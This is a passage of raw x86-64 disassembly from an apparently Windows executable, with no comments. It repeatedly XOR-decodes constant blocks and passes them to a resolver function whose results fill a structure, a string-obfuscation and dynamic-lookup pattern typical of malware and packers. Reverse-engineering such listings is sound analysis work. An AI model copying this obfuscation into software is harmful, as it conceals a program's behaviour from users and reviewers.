movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140027090
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x4300]
mov rdx, r12
lea rcx, [rbp + 0x7d40]
call fcn.140051d50
mov r15, qword [rax + 0x18]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test r15, r15
jne 0x1400272be
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x85d0], r15
movabs rax, 0xe00000002000951a
mov qword [rbp + 0x85d8], rax
mov qword [rbp + 0x85e0], r15
mov qword [rbp + 0x85e8], rax
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movdqa xmmword [rbp + 0x4b0], xmm0
movabs rax, 0x1ecebc9526f695ee
mov qword [rbp + 0x8610], rax
movabs rax, 0x6c226d706f31bdd
mov qword [rbp + 0x8618], rax
movabs rax, 0x158b542aa39a8c8b
mov qword [rbp + 0x8620], rax
movabs rcx, 0x4c5a476fa9825089
mov qword [rbp + 0x8628], rcx
movabs rax, 0x7ae0c8e74580e683
mov qword [rbp + 0x8650], rax
movabs rax, 0x698c7df72bd377b1
mov qword [rbp + 0x8658], rax
movabs rax, 0x48ef3a5fccdcacff
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x5490]
lea rcx, [rbp + 0x40]
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140027250
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x4b0]
lea rdx, [rbp + 0x5490]
jmp 0x1400260cc
movabs rax, 0x79d1101ebe08705
mov qword [rbp + 0x8610], rax
movabs rax, 0xce629443f01374b
mov qword [rbp + 0x8618], rax
movabs rax, 0x8688e0885
mov qword [rbp + 0x8620], rax
movabs rcx, 0x5ba5a431441
mov qword [rbp + 0x8628], rcx
movabs rax, 0x7ae116feb898772
mov qword [rbp + 0x8650], rax
movabs rax, 0xc82296a3f743779
mov qword [rbp + 0x8658], rax
movabs rax, 0x868e208e9
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x4460]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140027390
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x4460]
mov rdx, r12
lea rcx, [rbp + 0x8178]
call fcn.140051d50
cmp qword [rax + 0x18], 0
jne 0x1400275be
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x85d0], r15
movabs rax, 0xe000000020009c18
mov qword [rbp + 0x85d8], rax
mov qword [rbp + 0x85e0], r15
mov qword [rbp + 0x85e8], rax
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movdqa xmmword [rbp + 0x4c0], xmm0
movabs rax, 0x149840d1e9956fd7
mov qword [rbp + 0x8610], rax
movabs rax, 0x23ba0aa8a741971
mov qword [rbp + 0x8618], rax
movabs rax, 0xe814d30ccc038ff
mov qword [rbp + 0x8620], rax
movabs rcx, 0x520f2b437e24a51e
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x70b635e3dafb06a0
mov qword [rbp + 0x8650], rax
movabs rax, 0x6d75fb8aa754751d
mov qword [rbp + 0x8658], rax
movabs rax, 0x53e52345a386188b
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x3ba0]
lea rcx, [rbp + 0x40]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140027550
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x4c0]
lea rdx, [rbp + 0x3ba0]
jmp 0x1400260cc
mov ecx, 0x240
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x1400260d4
xor edx, edx
mov r8d, 0x240
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x8bf67e5f55d
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x5052f5897629212
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x8bf0280873b
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x620], xmm0
movaps xmm0, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x630], xmm0
movaps xmm1, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x640], xmm1
movaps xmm0, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0x650], xmm0
movaps xmm1, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0x660], xmm1
lea r8, [rbp + 0x620]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x70], rax
movabs rax, 0x89912b12815978b
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x66761eeca88eabd
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x89971de4479f6e6
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xb60], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xb70], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xb80], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xb90], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xba0], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xbb0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xbc0], xmm1
lea r8, [rbp + 0xb60]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x60], rax
movabs rax, 0x8bc20b9214a0f57
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x686966150df2fc3
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x8bc43d64d266e34
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xbd0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xbe0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xbf0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xc00], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xc10], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xc20], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xc30], xmm1
lea r8, [rbp + 0xbd0]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x68], rax
movabs rax, 0xab02c4018d53fe8
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x1dcbe7e6d6456890
mov qword [rbp + 0x85d8], rcx
movabs rax, 0xab055307bb85a85
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xc40], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xc50], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xc60], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xc70], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xc80], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xc90], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xca0], xmm1
lea r8, [rbp + 0xc40]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x78], rax
movabs rax, 0x5c2e31b331dac18
mov qword [rbp + 0x8610], rax
movabs rcx, 0x96f8808194d6a99
mov qword [rbp + 0x8618], rcx
xorps xmm2, xmm2
movabs rax, 0x5a795745e70c975
mov qword [rbp + 0x8630], rax
mov qword [rbp + 0x8638], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x8630]
pxor xmm1, xmmword [rbp + 0x8610]
pxor xmm2, xmm0
movaps xmmword [rbp + 0xe70], xmm1
movaps xmmword [rbp + 0xe80], xmm2
movaps xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0xe90], xmm0
movaps xmm1, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0xea0], xmm1
movaps xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0xeb0], xmm0
movaps xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0xec0], xmm1
movaps xmm0, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0xed0], xmm0
movaps xmm1, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0xee0], xmm1
lea r8, [rbp + 0xe70]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x80], rax
movabs rax, 0x6d8e6c2c6688f
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x1246add04a6d69db
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x6d880aeaf0dec
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x670], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x680], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x690], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x6a0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x6b0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x6c0], xmm0
lea r8, [rbp + 0x670]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x88], rax
movabs rax, 0x7467851b1
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x5fdb90a6d22
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x7461638c2
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x5a0], xmm0
movaps xmm0, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0x5b0], xmm0
movaps xmm1, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x5c0], xmm1
movaps xmm0, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x5d0], xmm0
lea r8, [rbp + 0x5a0]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x90], rax
movabs rax, 0x7b6cfee97
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x68cfc4f61ac
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x7b6bc81f4
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmm0, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0x5f0], xmm0
movaps xmm1, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x600], xmm1
movaps xmm0, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x610], xmm0
lea r8, [rbp + 0x5e0]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x98], rax
movabs rax, 0x7c97f9d87c167ca
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x42992897061f482
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x7c90ff0e4b204bd
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xcb0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xcc0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xcd0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xce0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xcf0], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xd00], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xd10], xmm1
lea r8, [rbp + 0xcb0]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xa0], rax
movabs rax, 0x7e3309cb0daec65
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x9e7ce1c3557d948
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x7e340f1d3a89816
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xd20], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xd30], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xd40], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xd50], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xd60], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xd70], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xd80], xmm1
lea r8, [rbp + 0xd20]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xa8], rax
movabs rax, 0x6ec6052f5898e4a
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xde792c3be798fbb
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x6ec0e3799fbfa39
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xd90], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xda0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xdb0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xdc0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xdd0], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xde0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xdf0], xmm1
lea r8, [rbp + 0xd90]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xb0], rax
movabs rax, 0xd173072d4271c3b
mov qword [rbp + 0x8610], rax
movabs rax, 0x6f6c31f1115be417
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6e605f06a6547e56
mov qword [rbp + 0x8630], rax
movabs rax, 0x6f6c31f1115be464
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x12c0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
lea r8, [rbp + 0x12c0]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xb8], rax
movabs rax, 0x4be580c2e75ed89
mov qword [rbp + 0x8610], rax
movabs rcx, 0x7cde904b4af883b9
mov qword [rbp + 0x8618], rcx
xorps xmm1, xmm1
movabs rax, 0x77dc35635a068efe
mov qword [rbp + 0x8630], rax
mov qword [rbp + 0x8638], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
pxor xmm2, xmm1
movaps xmmword [rbp + 0xf70], xmm0
movaps xmmword [rbp + 0xf80], xmm2
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0xf90], xmm0
movaps xmm1, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0xfa0], xmm1
movaps xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0xfb0], xmm0
movaps xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0xfc0], xmm1
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0xfd0], xmm0
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0xfe0], xmm1
movaps xmm0, xmmword [rbp + 0x2f0]
movaps xmmword [rbp + 0xff0], xmm0
lea r8, [rbp + 0xf70]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xc0], rax
movabs rax, 0x772803fe7403894
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe6ad1e031d9f13
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x772f24b94324ce7
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xaf0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xb00], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xb10], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xb20], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xb30], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xb40], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xb50], xmm1
lea r8, [rbp + 0xaf0]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xc8], rax
movabs rax, 0x15d90955686f9471
mov qword [rbp + 0x8610], rax
movabs rax, 0x65b82267f96aa798
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x61b760271818e707
mov qword [rbp + 0x8630], rax
movabs rax, 0x65b82267f919f8fe
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x1630]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1630]
mov rdx, r15
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xd0], rax
movabs rax, 0xfc98eea1ba616c6
mov qword [rbp + 0x8610], rax
movabs rax, 0x88d543da252f342
mov qword [rbp + 0x8618], rax
movabs rax, 0x1fffffffe51024eb
mov qword [rbp + 0x8620], rax
movabs rcx, 0xe000000018c37f0a
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x608aeb9e7ac36485
mov qword [rbp + 0x8650], rax
movabs rax, 0x6de13654d633832f
mov qword [rbp + 0x8658], rax
movabs rax, 0x1fffffffe51067af
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x37f0]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140028190
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
lea r8, [rbp + 0x37f0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xd8], rax
movabs rax, 0x2422a0e78408421
mov qword [rbp + 0x8610], rax
movabs rax, 0x2eb8928a6303de81
mov qword [rbp + 0x8618], rax
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x8620], r15
movabs rcx, 0xe00000002000a2d4
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x4b064f7a1925f662
mov qword [rbp + 0x8650], rax
movabs rax, 0x40d7fbfe00668dc3
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8660], r15
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x2e00]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
